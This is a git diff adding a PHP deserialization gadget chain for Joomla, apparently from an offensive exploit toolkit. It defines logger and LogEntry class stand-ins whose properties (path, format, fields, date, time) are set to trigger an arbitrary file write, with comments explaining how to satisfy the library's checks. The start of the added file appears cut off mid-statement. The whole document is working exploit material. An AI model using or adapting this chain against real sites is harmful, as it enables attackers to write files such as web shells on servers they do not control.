diff --git a/gadgetchains/Joomla/FW/1/chain.php b/gadgetchains/Joomla/FW/1/chain.php new file mode 100644 index 00000000..534cd7e6 --- /dev/null +++ b/gadgetchains/Joomla/FW/1/chain.php @@ -0,0 +1,23 @@ + true]; + protected $path; + protected $deferredEntries = []; + protected $format = '{F}'; + protected $fields = ['F']; + + public function __construct($path, $deferredEntries) + { + $this->path = $path; + $this->deferredEntries = [$deferredEntries]; + } + } +} + +namespace Joomla\CMS\Log { + class LogEntry + { + // Setting $clientIP avoids \Joomla\Utilities\IpHelper::getIp running + // but the Gadget Chain seems to work okay either way. + // public $clientIP = 'i'; // !isset($entry->clientIP) + + public $date = '1234567890'; // strlen($entry->date) != 10 + public $time = 't'; // !isset($entry->time) + + // This property could be called anything but must match the values of + // the $format and $fields properties of the FormattedtextLogger. + public $f; // #[\AllowDynamicProperties] + + function __construct($f) { + $this->f = $f; + } + } +}